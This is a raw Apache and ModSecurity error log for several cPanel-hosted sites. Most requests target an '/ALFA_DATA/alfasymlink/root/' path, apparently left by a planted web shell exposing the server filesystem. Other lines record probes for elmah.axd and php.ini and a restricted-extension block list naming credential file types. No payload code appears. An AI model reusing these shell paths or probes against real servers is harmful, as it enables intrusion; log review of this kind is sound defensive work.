[Mon Oct 26 02:05:36.094448 2026] [security2:error] [pid 2978278:tid 2978278] [client 3.221.50.71:9953] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0400:00/subsystem/"] [unique_id "at7tsFPy1ZSx6owxPsoRYAAAAAE"]
[Mon Oct 26 02:05:36.146750 2026] [security2:error] [pid 2978278:tid 2978278] [client 3.221.50.71:9953] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0400:00/subsystem/"] [unique_id "at7tsFPy1ZSx6owxPsoRYAAAAAE"]
[Mon Oct 26 02:05:39.699476 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 3.213.213.161:23192] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:51.298945 2026] [ssl:error] [pid 2978291:tid 2978291] (70014)End of file found: [client 98.83.72.38:33693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:05:55.461539 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 98.83.178.66:40634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:06:03.317584 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 44.221.227.90:56747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:06:11.477145 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 34.197.28.78:13923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:06:31.232927 2026] [core:error] [pid 2973344:tid 2973344] (13)Permission denied: [client 35.168.238.50:28797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/remove
[Mon Oct 26 02:06:32.053946 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7t1fLdnYlTYsUh9u6qrwAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:06:32.054002 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7t1fLdnYlTYsUh9u6qrwAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:06:35.707504 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 3.221.244.28:33895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:06:43.120513 2026] [core:error] [pid 2978298:tid 2978298] (13)Permission denied: [client 3.221.50.71:60061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:03/firmware_node/physical_node/firmware_node/subsystem/drivers_probe
[Mon Oct 26 02:06:47.188422 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 44.212.106.171:1535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:06:55.365410 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 54.144.185.255:7406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:07:03.152144 2026] [core:error] [pid 2978298:tid 2978298] (13)Permission denied: [client 54.84.169.196:25142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/uevent
[Mon Oct 26 02:07:07.341923 2026] [core:error] [pid 2978291:tid 2978291] (13)Permission denied: [client 34.196.114.170:23147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/validate
[Mon Oct 26 02:07:15.256631 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 100.29.155.89:57823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:07:16.278076 2026] [core:error] [pid 2974947:tid 2974947] (13)Permission denied: [client 85.208.96.201:58700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/usersize
[Mon Oct 26 02:07:19.513694 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 3.232.39.98:51030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:07:23.224879 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.207.207.36:11618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:07:27.178303 2026] [core:error] [pid 2978298:tid 2978298] (13)Permission denied: [client 52.3.102.51:59763] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/driver/module/uevent
[Mon Oct 26 02:07:35.201097 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 52.6.5.24:41291] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:07:39.643568 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 34.202.88.37:55155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:03.415509 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 3.224.205.25:9144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:06.891166 2026] [security2:error] [pid 2978292:tid 2978292] [client 85.208.96.206:58132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/iec958.conf"] [unique_id "at7uRssSPc2x-7wrKR3JvwAAAAs"]
[Mon Oct 26 02:08:06.891560 2026] [security2:error] [pid 2978292:tid 2978292] [client 85.208.96.206:58132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/iec958.conf"] [unique_id "at7uRssSPc2x-7wrKR3JvwAAAAs"]
[Mon Oct 26 02:08:06.892006 2026] [security2:error] [pid 2978292:tid 2978292] [client 85.208.96.206:58132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/iec958.conf"] [unique_id "at7uRssSPc2x-7wrKR3JvwAAAAs"]
[Mon Oct 26 02:08:07.424166 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 44.197.76.210:51308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:11.077774 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.200.93.170:13752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:15.305527 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 34.235.239.240:58583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:27.447101 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 54.197.82.195:47204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:37.393491 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 54.209.100.30:22919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:39.291656 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 54.83.23.103:19940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:08:51.129007 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 23.21.250.48:36865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:03.863692 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 85.208.96.196:24570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/objects
[Mon Oct 26 02:09:05.162933 2026] [core:error] [pid 2978292:tid 2978292] (13)Permission denied: [client 85.208.96.199:43378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/objects
[Mon Oct 26 02:09:07.185117 2026] [core:error] [pid 2973324:tid 2973324] (13)Permission denied: [client 52.207.47.227:3777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/thermal/uevent
[Mon Oct 26 02:09:13.781076 2026] [core:error] [pid 2978293:tid 2978293] (13)Permission denied: [client 16.216.88.177:24576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/setup_systemd_timer_for_plugins
[Mon Oct 26 02:09:27.392837 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.203.65.83:32560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:31.177551 2026] [core:error] [pid 2978293:tid 2978293] (13)Permission denied: [client 23.23.99.55:33940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource4
[Mon Oct 26 02:09:39.320722 2026] [ssl:error] [pid 2978291:tid 2978291] (70014)End of file found: [client 98.83.177.42:7551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:39.814557 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7ul98riwHadHMxXEF0KAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 02:09:39.814621 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7ul98riwHadHMxXEF0KAAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 02:09:43.222093 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 18.205.213.231:3821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:47.767923 2026] [ssl:error] [pid 2978293:tid 2978293] (5)Input/output error: [client 54.83.56.1:16380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:51.370484 2026] [core:error] [pid 2978287:tid 2978287] (13)Permission denied: [client 44.221.37.41:53834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/drivers/thermal/uevent
[Mon Oct 26 02:09:56.010043 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 52.4.76.156:17152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:09:56.771832 2026] [security2:error] [pid 2974947:tid 2974947] [client 185.191.171.17:56254] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/nscd.service.d/cpanel.conf"] [unique_id "at7utHTk5TnE5TElIbuUMgAAAAA"]
[Mon Oct 26 02:09:56.772242 2026] [security2:error] [pid 2974947:tid 2974947] [client 185.191.171.17:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/nscd.service.d/cpanel.conf"] [unique_id "at7utHTk5TnE5TElIbuUMgAAAAA"]
[Mon Oct 26 02:09:56.772532 2026] [security2:error] [pid 2974947:tid 2974947] [client 185.191.171.17:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/nscd.service.d/cpanel.conf"] [unique_id "at7utHTk5TnE5TElIbuUMgAAAAA"]
[Mon Oct 26 02:10:03.780321 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 54.147.238.89:34785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:11.294367 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 52.1.157.90:42759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:19.144773 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 23.21.228.180:6634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:27.426670 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 54.147.238.89:6316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:35.253847 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 54.197.82.195:42257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:43.845093 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 54.152.163.42:62742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:10:56.748079 2026] [core:error] [pid 2974947:tid 2974947] (13)Permission denied: [client 85.208.96.208:60674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/store_user
[Mon Oct 26 02:11:03.568269 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 34.227.156.153:9634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:15.109375 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 3.226.106.93:4856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:19.165936 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 18.232.11.247:37110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:23.513487 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.200.58.199:38066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:27.186885 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 54.84.250.51:61279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:39.122332 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 184.73.195.18:1587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:11:43.936278 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/secure/elmah.axd"] [unique_id "at7vH7Psc9vz4iO-ovpshgAAAAU"]
[Mon Oct 26 02:11:43.936762 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/secure/elmah.axd"] [unique_id "at7vH7Psc9vz4iO-ovpshgAAAAU"]
[Mon Oct 26 02:11:43.938195 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7vH7Psc9vz4iO-ovpshgAAAAU"]
[Mon Oct 26 02:11:44.029260 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/logs/elmah.axd"] [unique_id "at7vILPsc9vz4iO-ovpshwAAAAU"]
[Mon Oct 26 02:11:44.029735 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/logs/elmah.axd"] [unique_id "at7vILPsc9vz4iO-ovpshwAAAAU"]
[Mon Oct 26 02:11:44.030590 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7vILPsc9vz4iO-ovpshwAAAAU"]
[Mon Oct 26 02:11:44.120819 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/errors/elmah.axd"] [unique_id "at7vILPsc9vz4iO-ovpsiAAAAAU"]
[Mon Oct 26 02:11:44.121291 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/errors/elmah.axd"] [unique_id "at7vILPsc9vz4iO-ovpsiAAAAAU"]
[Mon Oct 26 02:11:44.122217 2026] [security2:error] [pid 2978287:tid 2978287] [client 87.120.93.159:34082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7vILPsc9vz4iO-ovpsiAAAAAU"]
[Mon Oct 26 02:11:46.950140 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 3.209.174.110:43435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:12:06.940103 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 98.84.70.201:23240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:12:16.392422 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 54.197.102.71:11505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:12:16.920746 2026] [authz_core:error] [pid 2978293:tid 2978293] [client 195.178.110.105:4896] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:12:19.176634 2026] [authz_core:error] [pid 2978293:tid 2978293] [client 195.178.110.105:4896] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:12:20.754689 2026] [authz_core:error] [pid 2973344:tid 2973344] [client 195.178.110.105:57910] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:12:21.831234 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7vOPLdnYlTYsUh9u6qxwAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:12:21.831428 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7vOPLdnYlTYsUh9u6qxwAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:12:22.544513 2026] [authz_core:error] [pid 2973344:tid 2973344] [client 195.178.110.105:57910] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:12:34.261723 2026] [core:error] [pid 2978292:tid 2978292] (13)Permission denied: [client 185.191.171.15:25552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/aliases
[Mon Oct 26 02:12:34.938786 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 3.222.190.107:9351] AH02013: coalesce failed to read from data bucket
